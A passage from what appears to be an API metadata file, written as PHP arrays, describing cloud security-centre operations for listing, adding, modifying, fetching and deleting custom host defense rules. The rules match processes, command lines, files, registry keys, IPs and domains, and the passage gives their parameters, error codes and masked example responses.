\\"系统自启动任务****\\",\\n \\"PolicyKey\\": \\"system_auto_****\\"\\n }\\n ],\\n \\"SwitchEnable\\": true\\n }\\n ]\\n}","type":"json"}]', 'title' => 'ListSystemClientRules', ], 'ListSystemAggregationRules' => [ 'summary' => 'Queries the details about the aggregation types of system defense rules.', 'methods' => [ 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'read', 'deprecated' => false, 'systemTags' => [ 'operationType' => 'get', ], 'parameters' => [ [ 'name' => 'Lang', 'in' => 'query', 'schema' => [ 'description' => 'The language of the content within the request and response. Default value: **zh**. Valid values:'."\n" ."\n" .'* **zh**: Chinese'."\n" .'* **en**: English'."\n", 'type' => 'string', 'required' => false, 'example' => 'zh', ], ], [ 'name' => 'RuleName', 'in' => 'query', 'schema' => [ 'description' => 'The name of the rule.'."\n", 'type' => 'string', 'required' => false, 'example' => 'Rule\\*\\*\\*\\*'."\n", ], ], [ 'name' => 'CurrentPage', 'in' => 'query', 'schema' => [ 'description' => 'The number of the page to return.'."\n", 'type' => 'integer', 'format' => 'int32', 'required' => true, 'maximum' => '1000', 'minimum' => '1', 'example' => '1', ], ], [ 'name' => 'PageSize', 'in' => 'query', 'schema' => [ 'description' => 'The number of entries to return on each page.'."\n", 'type' => 'integer', 'format' => 'int32', 'required' => true, 'maximum' => '1000', 'minimum' => '10', 'example' => '20', ], ], [ 'name' => 'RuleTypes', 'in' => 'query', 'style' => 'repeatList', 'schema' => [ 'description' => 'The types of the rules.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The type of the rules. Valid values:'."\n" ."\n" .'* **1**: alihips'."\n" .'* **2**: alinet'."\n" .'* **3**: alidetect'."\n" .'* **4**: alisecguard'."\n", 'type' => 'integer', 'format' => 'int32', 'required' => false, 'example' => '1', ], 'required' => false, 'maxItems' => 100, ], ], [ 'name' => 'SystemType', 'in' => 'query', 'schema' => [ 'description' => 'The type of the operating system. Valid values:'."\n" ."\n" .'* **2**: Windows'."\n" .'* **1**: Linux'."\n" .'* **0**: all'."\n", 'type' => 'integer', 'format' => 'int32', 'required' => false, 'example' => '0', ], ], [ 'name' => 'AggregationIds', 'in' => 'query', 'style' => 'repeatList', 'schema' => [ 'description' => 'The IDs of the aggregation types.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The ID of the aggregation type.'."\n", 'type' => 'integer', 'format' => 'int32', 'required' => false, 'example' => '1', ], 'required' => false, 'maxItems' => 100, ], ], ], 'responses' => [ 200 => [ 'headers' => [], 'schema' => [ 'title' => 'result', 'description' => 'The data returned.'."\n", 'type' => 'object', 'properties' => [ 'RequestId' => [ 'description' => 'The ID of the request, which is used to locate and troubleshoot issues.'."\n", 'type' => 'string', 'example' => '6800B790-B10A-5C2F-BEB3-F1D5CE61****', ], 'PageInfo' => [ 'description' => 'The pagination information.'."\n", 'type' => 'object', 'properties' => [ 'CurrentPage' => [ 'description' => 'The page number of the returned page.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '1', ], 'PageSize' => [ 'description' => 'The number of entries returned per page.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '20', ], 'TotalCount' => [ 'description' => 'The total number of entries returned.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '30', ], ], ], 'AggregationList' => [ 'description' => 'An array that consists of the details about the aggregation types.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The details about the aggregation type.'."\n", 'type' => 'object', 'properties' => [ 'Id' => [ 'description' => 'The ID of the aggregation type.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '1', ], 'RuleCount' => [ 'description' => 'The number of rules that are of the aggregation type.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '0', ], 'Name' => [ 'description' => 'The name of the aggregation type.'."\n", 'type' => 'string', 'example' => 'Remote control\\*\\*\\*\\*'."\n", ], ], ], ], ], ], ], ], 'errorCodes' => [ 400 => [ [ 'errorCode' => 'IdempotentParameterMismatch', 'errorMessage' => 'The request uses the same client token as a previous, but non-identical request. Do not reuse a client token with different requests, unless the requests are identical.', ], ], 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"6800B790-B10A-5C2F-BEB3-F1D5CE61****\\",\\n \\"PageInfo\\": {\\n \\"CurrentPage\\": 1,\\n \\"PageSize\\": 20,\\n \\"TotalCount\\": 30\\n },\\n \\"AggregationList\\": [\\n {\\n \\"Id\\": 1,\\n \\"RuleCount\\": 0,\\n \\"Name\\": \\"远程控制****\\"\\n }\\n ]\\n}","type":"json"}]', 'title' => 'ListSystemAggregationRules', ], 'ModifyClientUserDefineRule' => [ 'summary' => 'Modifies a custom defense rule.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'write', 'systemTags' => [ 'operationType' => 'update', ], 'parameters' => [ [ 'name' => 'Id', 'in' => 'query', 'schema' => [ 'description' => 'The ID of the rule.'."\n" ."\n" .'> You can call the [ListClientUserDefineRules](~~ListClientUserDefineRules~~) operation to query the IDs of rules.'."\n", 'type' => 'integer', 'format' => 'int64', 'required' => true, 'example' => '210****', ], ], [ 'name' => 'Md5List', 'in' => 'query', 'allowEmptyValue' => true, 'schema' => [ 'description' => 'The hash values of processes.'."\n", 'type' => 'string', 'required' => false, 'example' => 'aa5ee3ed4363c9d195a591a70281****,3e522d6f3bf5cf88bb77e9ff3d13****', ], ], [ 'name' => 'ActionType', 'in' => 'query', 'schema' => [ 'description' => 'The action of the rule. Valid values:'."\n" ."\n" .'* **0**: allow'."\n" .'* **1**: block'."\n", 'type' => 'integer', 'format' => 'int32', 'required' => true, 'example' => '0', ], ], [ 'name' => 'ProcPath', 'in' => 'query', 'allowEmptyValue' => true, 'schema' => [ 'description' => 'The path to the process.'."\n", 'type' => 'string', 'required' => false, 'example' => '/root/1111/****', ], ], [ 'name' => 'Cmdline', 'in' => 'query', 'allowEmptyValue' => true, 'schema' => [ 'description' => 'The command line.'."\n", 'type' => 'string', 'required' => false, 'example' => '/usr/sbin/s****'."\n", ], ], [ 'name' => 'Type', 'in' => 'query', 'schema' => [ 'description' => 'The type of the rule. Valid values:'."\n" ."\n" .'* **1**: Process hash'."\n" .'* **2**: Command line'."\n" .'* **3**: Process Network'."\n" .'* **4**: File Read and Write'."\n" .'* **5**: Operation on Registry'."\n" .'* **6**: Dynamic-link Library Loading'."\n" .'* **7**: File Renaming'."\n", 'type' => 'integer', 'format' => 'int32', 'required' => false, 'example' => '2', ], ], [ 'name' => 'Platform', 'in' => 'query', 'schema' => [ 'description' => 'The type of the operating system. Valid values:'."\n" ."\n" .'* **windows**: Windows'."\n" .'* **linux**: Linux'."\n" .'* **all**: all types'."\n", 'type' => 'string', 'required' => false, 'example' => 'linux', ], ], [ 'name' => 'IP', 'in' => 'query', 'schema' => [ 'description' => 'The IP address.'."\n", 'type' => 'string', 'required' => false, 'example' => '1.1.XX.XX', ], ], [ 'name' => 'Port', 'in' => 'query', 'schema' => [ 'description' => 'The port number. This parameter is deprecated.'."\n", 'type' => 'integer', 'format' => 'int32', 'required' => false, 'example' => '22', ], ], [ 'name' => 'FilePath', 'in' => 'query', 'schema' => [ 'description' => 'The file path.'."\n", 'type' => 'string', 'required' => false, 'example' => '/etc/pam.d/su****', ], ], [ 'name' => 'RegistryKey', 'in' => 'query', 'schema' => [ 'description' => 'The registry key.'."\n", 'type' => 'string', 'required' => false, 'example' => 'HKEY_DYN_****', ], ], [ 'name' => 'RegistryContent', 'in' => 'query', 'schema' => [ 'description' => 'The registry value.'."\n", 'type' => 'string', 'required' => false, 'example' => 'SECOH-QAD****', ], ], [ 'name' => 'NewFilePath', 'in' => 'query', 'schema' => [ 'description' => 'The new file path after the file is renamed.'."\n", 'type' => 'string', 'required' => false, 'example' => '/etc/pam****', ], ], [ 'name' => 'ParentProcPath', 'in' => 'query', 'schema' => [ 'description' => 'The path to the parent process.'."\n", 'type' => 'string', 'required' => false, 'example' => 'C:/Windows/System32/cmd****', ], ], [ 'name' => 'ParentCmdline', 'in' => 'query', 'schema' => [ 'description' => 'The parent command line.'."\n", 'type' => 'string', 'required' => false, 'example' => '/usr/sbin/s****', ], ], [ 'name' => 'Name', 'in' => 'query', 'schema' => [ 'description' => 'The name of the rule.'."\n", 'type' => 'string', 'required' => false, 'example' => 'Rule\\*\\*\\*\\*'."\n", ], ], [ 'name' => 'PortStr', 'in' => 'query', 'schema' => [ 'description' => 'The port number. Valid values: 1 to 65535.'."\n", 'type' => 'string', 'required' => false, 'example' => '80', ], ], [ 'name' => 'Domain', 'in' => 'query', 'schema' => [ 'type' => 'string', 'required' => false, 'description' => 'The domain name.'."\n", 'example' => 'example.com', ], ], ], 'responses' => [ 200 => [ 'schema' => [ 'type' => 'object', 'properties' => [ 'RequestId' => [ 'description' => 'The ID of the request, which is used to locate and troubleshoot issues.'."\n", 'type' => 'string', 'example' => '5cbb3c39-88ec-429a-be26-5d0f62cc****', ], ], ], ], ], 'errorCodes' => [ 400 => [ [ 'errorCode' => 'UserDefineRuleFilePathTooLong', 'errorMessage' => 'User define rule file path too long.', ], [ 'errorCode' => 'InvalidFilePath', 'errorMessage' => 'Invalid FilePath value.', ], [ 'errorCode' => 'InvalidPort', 'errorMessage' => 'Invalid PortStr value.', ], [ 'errorCode' => 'InvalidIP', 'errorMessage' => 'Invalid IP value.', ], [ 'errorCode' => 'UserDefineRuleCmdlineTooLong', 'errorMessage' => 'User define rule command line too long.', ], [ 'errorCode' => 'InvalidCmdline', 'errorMessage' => 'Command line is invalid.', ], [ 'errorCode' => 'InvalidUserDefineRuleProcPath', 'errorMessage' => 'User define rule process path is invalid.', ], [ 'errorCode' => 'UserDefineRuleProcPathMustContainsLetter', 'errorMessage' => 'User define rule process path must contain letter.', ], [ 'errorCode' => 'InvalidProcPath', 'errorMessage' => 'Process path is invalid.', ], [ 'errorCode' => 'UserDefineRuleMd5TooMany', 'errorMessage' => 'Too many user define rule md5s.', ], [ 'errorCode' => 'InvalidUserDefineRuleMd5List', 'errorMessage' => 'Invalid Md5List value.', ], [ 'errorCode' => 'InvalidUserDefineRuleType', 'errorMessage' => 'Invalid Type value.', ], [ 'errorCode' => 'UserDefineRuleNameTooLong', 'errorMessage' => 'User define rule name too long.', ], [ 'errorCode' => 'InvalidUserDefineRuleName', 'errorMessage' => 'Invalid Name value.', ], [ 'errorCode' => 'InvalidPlatform', 'errorMessage' => 'Invalid Platform value.', ], [ 'errorCode' => 'InvalidUserDefineRuleActionType', 'errorMessage' => 'Invalid ActionType value.', ], ], 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"5cbb3c39-88ec-429a-be26-5d0f62cc****\\"\\n}","type":"json"}]', 'title' => 'ModifyClientUserDefineRule', ], 'ListClientUserDefineRuleTypes' => [ 'summary' => 'Queries the supported types of custom defense rules.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'read', 'systemTags' => [ 'operationType' => 'get', ], 'parameters' => [], 'responses' => [ 200 => [ 'headers' => [], 'schema' => [ 'type' => 'object', 'properties' => [ 'RequestId' => [ 'description' => 'The ID of the request, which is used to locate and troubleshoot issues.'."\n", 'type' => 'string', 'example' => '340D7FC4-D575-1661-8ACD-CFA7BE57****', ], 'UserDefineRuleTypes' => [ 'description' => 'An array consisting of the rule types that are supported.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The rule type that is supported. Valid values:'."\n" ."\n" .'* **1**: Process hash'."\n" .'* **2**: Command line'."\n" .'* **3**: Process Network'."\n" .'* **4**: File Read and Write'."\n" .'* **5**: Operation on Registry'."\n" .'* **6**: Dynamic-link Library Loading'."\n" .'* **7**: File Renaming'."\n", 'type' => 'string', 'example' => '1', ], ], ], ], ], ], 'errorCodes' => [ 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"340D7FC4-D575-1661-8ACD-CFA7BE57****\\",\\n \\"UserDefineRuleTypes\\": [\\n \\"1\\"\\n ]\\n}","type":"json"}]', 'title' => 'ListClientUserDefineRuleTypes', ], 'GetRulesCount' => [ 'summary' => 'Queries the numbers of system defense rules and custom defense rules.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'read', 'systemTags' => [ 'operationType' => 'get', ], 'parameters' => [], 'responses' => [ 200 => [ 'headers' => [], 'schema' => [ 'description' => 'The response body.'."\n", 'type' => 'object', 'properties' => [ 'RequestId' => [ 'description' => 'The ID of the request, which is used to locate and troubleshoot issues.'."\n", 'type' => 'string', 'example' => 'BE120DAB-F4E7-4C53-ADC3-A97578AB****', ], 'TotalUserDefineRuleCount' => [ 'description' => 'The total number of custom defense rules.'."\n", 'type' => 'integer', 'format' => 'int64', 'example' => '10', ], 'TotalSystemClientRuleCount' => [ 'description' => 'The total number of system defense rules.'."\n", 'type' => 'integer', 'format' => 'int64', 'example' => '10', ], ], ], ], ], 'errorCodes' => [ 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"BE120DAB-F4E7-4C53-ADC3-A97578AB****\\",\\n \\"TotalUserDefineRuleCount\\": 10,\\n \\"TotalSystemClientRuleCount\\": 10\\n}","type":"json"}]', 'title' => 'GetRulesCount', ], 'GetClientUserDefineRule' => [ 'summary' => 'Queries the information about a custom defense rule.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'read', 'systemTags' => [ 'operationType' => 'get', ], 'parameters' => [ [ 'name' => 'Id', 'in' => 'query', 'schema' => [ 'description' => 'The ID of the custom defense rule.'."\n", 'type' => 'integer', 'format' => 'int64', 'required' => true, 'example' => '200****', ], ], ], 'responses' => [ 200 => [ 'schema' => [ 'type' => 'object', 'properties' => [ 'RequestId' => [ 'description' => 'The ID of the request, which is used to locate and troubleshoot issues.'."\n", 'type' => 'string', 'example' => '0B48AB3C-84FC-424D-A01D-B9270EF4****', ], 'UserDefineRuleDetail' => [ 'description' => 'The information about the custom defense rule.'."\n", 'type' => 'object', 'properties' => [ 'Type' => [ 'description' => 'The type of the custom defense rule. Valid values:'."\n" ."\n" .'* **1**: Process hash'."\n" .'* **2**: Command line'."\n" .'* **3**: Process Network'."\n" .'* **4**: File Read and Write'."\n" .'* **5**: Operation on Registry'."\n" .'* **6**: Dynamic-link Library Loading'."\n" .'* **7**: File Renaming'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '1', ], 'ActionType' => [ 'description' => 'The action of the custom defense rule. Valid values:'."\n" ."\n" .'* **0**: allow'."\n" .'* **1**: block'."\n", 'type' => 'string', 'example' => '0', ], 'GmtCreate' => [ 'description' => 'The time when the custom defense rule was created.'."\n", 'type' => 'integer', 'format' => 'int64', 'example' => '167118088****', ], 'Md5List' => [ 'description' => 'The hash values of processes.'."\n", 'type' => 'string', 'example' => '0c9045b5bec90f9825f1f3f64dd4****'."\n", ], 'GmtModified' => [ 'description' => 'The time when the custom defense rule was last modified.'."\n", 'type' => 'integer', 'format' => 'int64', 'example' => '167118088****'."\n", ], 'Name' => [ 'description' => 'The name of the custom defense rule.'."\n", 'type' => 'string', 'example' => 'Rule\\*\\*\\*\\*'."\n", ], 'Id' => [ 'description' => 'The ID of the custom defense rule.'."\n", 'type' => 'integer', 'format' => 'int64', 'example' => '200****', ], 'ProcPath' => [ 'description' => 'The path to the process.'."\n", 'type' => 'string', 'example' => 'c:/windows/system32/i****'."\n", ], 'Cmdline' => [ 'description' => 'The command line.'."\n", 'type' => 'string', 'example' => '/usr/sbin/s****'."\n", ], 'Platform' => [ 'description' => 'The type of the operating system. Valid values:'."\n" ."\n" .'* **linux**'."\n" .'* **windows**'."\n" .'* **all**'."\n", 'type' => 'string', 'example' => 'linux', ], 'IP' => [ 'description' => 'The IP address.'."\n", 'type' => 'string', 'example' => '10.240.XX.XX'."\n", ], 'Port' => [ 'description' => 'The port number.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '22', ], 'FilePath' => [ 'description' => 'The file path.'."\n", 'type' => 'string', 'example' => '/etc/pam****'."\n", ], 'NewFilePath' => [ 'description' => 'The new file path after the file is renamed.'."\n", 'type' => 'string', 'example' => '/etc/pam****'."\n", ], 'RegistryKey' => [ 'description' => 'The registry key.'."\n", 'type' => 'string', 'example' => 'HKEY_DYN_****'."\n", ], 'RegistryContent' => [ 'description' => 'The registry value.'."\n", 'type' => 'string', 'example' => '*SECOH-QAD.exe*'."\n", ], 'ParentProcPath' => [ 'description' => 'The path to the parent process.'."\n", 'type' => 'string', 'example' => 'c:/windows/system32/i****'."\n", ], 'ParentCmdline' => [ 'description' => 'The parent command line.'."\n", 'type' => 'string', 'example' => '/usr/sbin/s****'."\n", ], 'PortStr' => [ 'description' => 'The port number. Valid values: 1 to 65535.'."\n", 'type' => 'string', 'example' => '80', ], 'Domain' => [ 'type' => 'string', 'description' => 'The domain name.', 'example' => 'example.com', ], ], ], ], ], ], ], 'errorCodes' => [ 400 => [ [ 'errorCode' => 'InvalidId', 'errorMessage' => 'Invalid ID.', ], ], 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"0B48AB3C-84FC-424D-A01D-B9270EF4****\\",\\n \\"UserDefineRuleDetail\\": {\\n \\"Type\\": 1,\\n \\"ActionType\\": \\"0\\",\\n \\"GmtCreate\\": 0,\\n \\"Md5List\\": \\"0c9045b5bec90f9825f1f3f64dd4****\\\\n\\",\\n \\"GmtModified\\": 0,\\n \\"Name\\": \\"规则****\\",\\n \\"Id\\": 0,\\n \\"ProcPath\\": \\"c:/windows/system32/i****\\\\n\\",\\n \\"Cmdline\\": \\"/usr/sbin/s****\\\\n\\",\\n \\"Platform\\": \\"linux\\",\\n \\"IP\\": \\"10.240.XX.XX\\\\n\\",\\n \\"Port\\": 22,\\n \\"FilePath\\": \\"/etc/pam****\\\\n\\",\\n \\"NewFilePath\\": \\"/etc/pam****\\\\n\\",\\n \\"RegistryKey\\": \\"HKEY_DYN_****\\\\n\\",\\n \\"RegistryContent\\": \\"*SECOH-QAD.exe*\\\\n\\",\\n \\"ParentProcPath\\": \\"c:/windows/system32/i****\\\\n\\",\\n \\"ParentCmdline\\": \\"/usr/sbin/s****\\\\n\\",\\n \\"PortStr\\": \\"80\\",\\n \\"Domain\\": \\"example.com\\"\\n }\\n}","type":"json"}]', 'title' => 'GetClientUserDefineRule', ], 'DeleteClientUserDefineRule' => [ 'summary' => 'Deletes specified custom defense rules.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'readAndWrite', 'systemTags' => [ 'operationType' => 'delete', 'abilityTreeCode' => '91951', 'abilityTreeNodes' => [ 'FEATUREsas2XWKXT', ], 'tenantRelevance' => 'publicInformation', ], 'parameters' => [ [ 'name' => 'IdList', 'in' => 'query', 'style' => 'repeatList', 'schema' => [ 'description' => 'The IDs of the custom defense rules.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The ID of the custom defense rule.'."\n" ."\n" .'> You can call the [ListClientUserDefineRules](~~ListClientUserDefineRules~~) operation to query the IDs of custom defense rules.'."\n", 'type' => 'integer', 'format' => 'int64', 'required' => false, 'example' => '140****', ], 'required' => true, 'maxItems' => 100, ], ], ], 'responses' => [ 200 => [ 'headers' => [], 'schema' => [ 'type' => 'object', 'properties' => [ 'RequestId' => [ 'description' => 'The ID of the request, which is used to locate and troubleshoot issues.'."\n", 'type' => 'string', 'example' => '4552b59b-18f2-4fad-b6a2-0d59b8f2****', ], ], ], ], ], 'errorCodes' => [ 400 => [ [ 'errorCode' => 'InvalidId', 'errorMessage' => 'Invalid ID.', ], ], 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"4552b59b-18f2-4fad-b6a2-0d59b8f2****\\"\\n}","type":"json"}]', 'title' => 'DeleteClientUserDefineRule', ], 'AddClientUserDefineRule' => [ 'summary' => 'Creates a custom defense rule.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'readAndWrite', 'systemTags' => [ 'operationType' => 'create', 'riskType' => 'none', 'chargeType' => 'free', 'abilityTreeCode' => '91897', 'abilityTreeNodes' => [ 'FEATUREsas2XWKXT', ], 'tenantRelevance' => 'publicInformation', ], 'parameters' => [ [ 'name' => 'Name', 'in' => 'query', 'schema' => [ 'description' => 'The name of the custom defense rule.'."\n", 'type' => 'string', 'required' => true, 'example' => 'Rule 1'."\n", ], ], [ 'name' => 'Type', 'in' => 'query', 'schema' => [ 'description' => 'The type of the custom defense rule. Valid values:'."\n" ."\n" .'* **1**: Process hash'."\n" .'* **2**: Command line'."\n" .'* **3**: Process Network'."\n" .'* **4**: File Read and Write'."\n" .'* **5**: Operation on Registry'."\n" .'* **6**: Dynamic-link Library Loading'."\n" .'* **7**: File Renaming'."\n" .'* **8**: Network domain name'."\n" .'* **9**: Network ip'."\n" .'* **10**: File Path', 'type' => 'integer', 'format' => 'int32', 'required' => true, 'example' => '1', ], ], [ 'name' => 'Md5List', 'in' => 'query', 'allowEmptyValue' => true, 'schema' => [ 'description' => 'The hash values of processes.'."\n", 'type' => 'string', 'required' => false, 'example' => '0c9045b5bec90f9825f1f3f64dd4****', ], ], [ 'name' => 'ActionType', 'in' => 'query', 'schema' => [ 'description' => 'The action of the custom defense rule. Valid values:'."\n" ."\n" .'* **0**: allow'."\n" .'* **1**: block'."\n", 'type' => 'integer', 'format' => 'int32', 'required' => true, 'example' => '1', ], ], [ 'name' => 'ProcPath', 'in' => 'query', 'allowEmptyValue' => true, 'schema' => [ 'description' => 'The path to the process.'."\n", 'type' => 'string', 'required' => false, 'example' => 'c:/windows/system32/i****', ], ], [ 'name' => 'Cmdline', 'in' => 'query', 'allowEmptyValue' => true, 'schema' => [ 'description' => 'The command line.'."\n", 'type' => 'string', 'required' => false, 'example' => '/usr/sbin/s****', ], ], [ 'name' => 'Platform', 'in' => 'query', 'schema' => [ 'description' => 'The type of the operating system. Valid values:'."\n" ."\n" .'* **windows**: Windows'."\n" .'* **linux**: Linux'."\n" .'* **all**: all types'."\n", 'type' => 'string', 'required' => false, 'example' => 'linux', ], ], [ 'name' => 'IP', 'in' => 'query', 'schema' => [ 'description' => 'The IP address.'."\n", 'type' => 'string', 'required' => false, 'example' => '10.240.XX.XX', ], ], [ 'name' => 'Port', 'in' => 'query', 'schema' => [ 'description' => 'The port number. This parameter is deprecated.'."\n", 'type' => 'integer', 'format' => 'int32', 'required' => false, 'example' => '22', ], ], [ 'name' => 'FilePath', 'in' => 'query', 'schema' => [ 'description' => 'The file path.'."\n", 'type' => 'string', 'required' => false, 'example' => '/etc/pam****', ], ], [ 'name' => 'RegistryKey', 'in' => 'query', 'schema' => [ 'description' => 'The registry key.'."\n", 'type' => 'string', 'required' => false, 'example' => 'HKEY_DYN_****', ], ], [ 'name' => 'RegistryContent', 'in' => 'query', 'schema' => [ 'description' => 'The registry value.'."\n", 'type' => 'string', 'required' => false, 'example' => '*SECOH-QAD.exe*', ], ], [ 'name' => 'NewFilePath', 'in' => 'query', 'schema' => [ 'description' => 'The new file path after the file is renamed.'."\n", 'type' => 'string', 'required' => false, 'example' => '/etc/pam****', ], ], [ 'name' => 'ParentProcPath', 'in' => 'query', 'schema' => [ 'description' => 'The path to the parent process.'."\n", 'type' => 'string', 'required' => false, 'example' => 'c:/windows/system32/i****', ], ], [ 'name' => 'ParentCmdline', 'in' => 'query', 'schema' => [ 'description' => 'The parent command line.'."\n", 'type' => 'string', 'required' => false, 'example' => '/usr/sbin/s****', ], ], [ 'name' => 'PortStr', 'in' => 'query', 'schema' => [ 'description' => 'The port number. Valid values: **1 to 65535**.'."\n", 'type' => 'string', 'required' => false, 'example' => '80', ], ], [ 'name' => 'Domain', 'in' => 'query', 'schema' => [ 'description' => 'The domain name.'."\n", 'type' => 'string', 'required' => false, 'example' => 'example.com', ], ], ], 'responses' => [ 200 => [ 'schema' => [ 'type' => 'object', 'properties' => [ 'RequestId' => [ 'description' => 'The ID of the request.'."\n", 'type' => 'string', 'example' => '379a9b8f-107b-4630-9e95-2299a1ea****', ], 'UserDefineRuleAddResult' => [ 'description' => 'The identifier of the custom defense rule.'."\n", 'type' => 'object', 'properties' => [ 'SwitchId' => [ 'description' => 'The switch ID of the custom defense rule.'."\n", 'type' => 'string', 'example' => 'USER-DEFINE-RULE-SWITCH-TYPE_200****', ], 'Id' => [ 'description' => 'The ID of the rule.'."\n", 'type' => 'integer', 'format' => 'int64', 'example' => '1', ], 'Platform' => [ 'description' => 'The type of the operating system. Valid values:'."\n" ."\n" .'* **windows**: Windows'."\n" .'* **linux**: Linux'."\n" .'* **all**: all types'."\n", 'type' => 'string', 'example' => 'linux', ], ], ], ], ], ], ], 'errorCodes' => [ 400 => [ [ 'errorCode' => 'InvalidPlatform', 'errorMessage' => 'Invalid Platform value.', ], [ 'errorCode' => 'InvalidUserDefineRuleName', 'errorMessage' => 'Invalid Name value.', ], [ 'errorCode' => 'UserDefineRuleNameTooLong', 'errorMessage' => 'User define rule name too long.', ], [ 'errorCode' => 'InvalidUserDefineRuleActionType', 'errorMessage' => 'Invalid ActionType value.', ], [ 'errorCode' => 'InvalidUserDefineRuleType', 'errorMessage' => 'Invalid Type value.', ], [ 'errorCode' => 'InvalidUserDefineRuleMd5List', 'errorMessage' => 'Invalid Md5List value.', ], [ 'errorCode' => 'UserDefineRuleMd5TooMany', 'errorMessage' => 'Too many user define rule md5s.', ], [ 'errorCode' => 'InvalidProcPath', 'errorMessage' => 'Process path is invalid.', ], [ 'errorCode' => 'UserDefineRuleProcPathMustContainsLetter', 'errorMessage' => 'User define rule process path must contain letter.', ], [ 'errorCode' => 'InvalidUserDefineRuleProcPath', 'errorMessage' => 'User define rule process path is invalid.', ], [ 'errorCode' => 'InvalidCmdline', 'errorMessage' => 'Command line is invalid.', ], [ 'errorCode' => 'UserDefineRuleCmdlineTooLong', 'errorMessage' => 'User define rule command line too long.', ], [ 'errorCode' => 'InvalidIP', 'errorMessage' => 'Invalid IP value.', ], [ 'errorCode' => 'InvalidPort', 'errorMessage' => 'Invalid PortStr value.', ], [ 'errorCode' => 'InvalidFilePath', 'errorMessage' => 'Invalid FilePath value.', ], [ 'errorCode' => 'UserDefineRuleFilePathTooLong', 'errorMessage' => 'User define rule file path too long.', ], [ 'errorCode' => 'UserDefineRulesTooMany', 'errorMessage' => 'Too many rules.', ], ], 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'staticInfo' => [ 'returnType' => 'synchronous', ], 'eventInfo' => [ 'enable' => false, 'eventNames' => [], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"32A73759-4C0F-4801-BE98-901223ACEE9A\\",\\n \\"UserDefineRuleAddResult\\": {\\n \\"SwitchId\\": \\"USER-DEFINE-RULE-SWITCH-TYPE_200****\\",\\n \\"Id\\": 1,\\n \\"Platform\\": \\"linux\\"\\n }\\n}","type":"json"}]', 'title' => 'AddClientUserDefineRule', ], 'UpdateSelectionKeyByType' => [ 'summary' => 'Updates the unique identifier of an asset selection.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'write', 'systemTags' => [ 'operationType' => 'update', 'abilityTreeCode' => '173123', 'abilityTreeNodes' => [ 'FEATUREsas36IOGX', ], 'tenantRelevance' => 'publicInformation', ], 'parameters' => [ [ 'name' => 'BusinessType', 'in' => 'query', 'schema' => [ 'description' => 'The business type of the asset selection. Valid value:'."\n" ."\n" .'* **VIRUS_SCAN_CYCLE_CONFIG**: virus detection configuration.'."\n" .'* **VIRUS_SCAN_ONCE_TASK**: one-time scan for virus detection.'."\n" .'* **AGENTLESS_MALICIOUS_WHITE_LIST_\\[ID]**: a whitelist rule for alerts that are generated by the agentless detection feature.'."\n" .'* **AGENTLESS_VUL_WHITE_LIST_\\[ID]**: a whitelist rule for vulnerabilities that are detected by the agentless detection feature.'."\n" .'* **FILE_PROTECT_RULE_SWITCH_TYPE_\\[ID]**: key file protection.'."\n", 'type' => 'string', 'required' => false, 'example' => 'VIRUS_SCAN_CYCLE_CONFIG', ], ], [ 'name' => 'SelectionKey', 'in' => 'query', 'schema' => [ 'description' => 'The unique identifier of the asset selection.'."\n", 'type' => 'string', 'required' => false, 'example' => 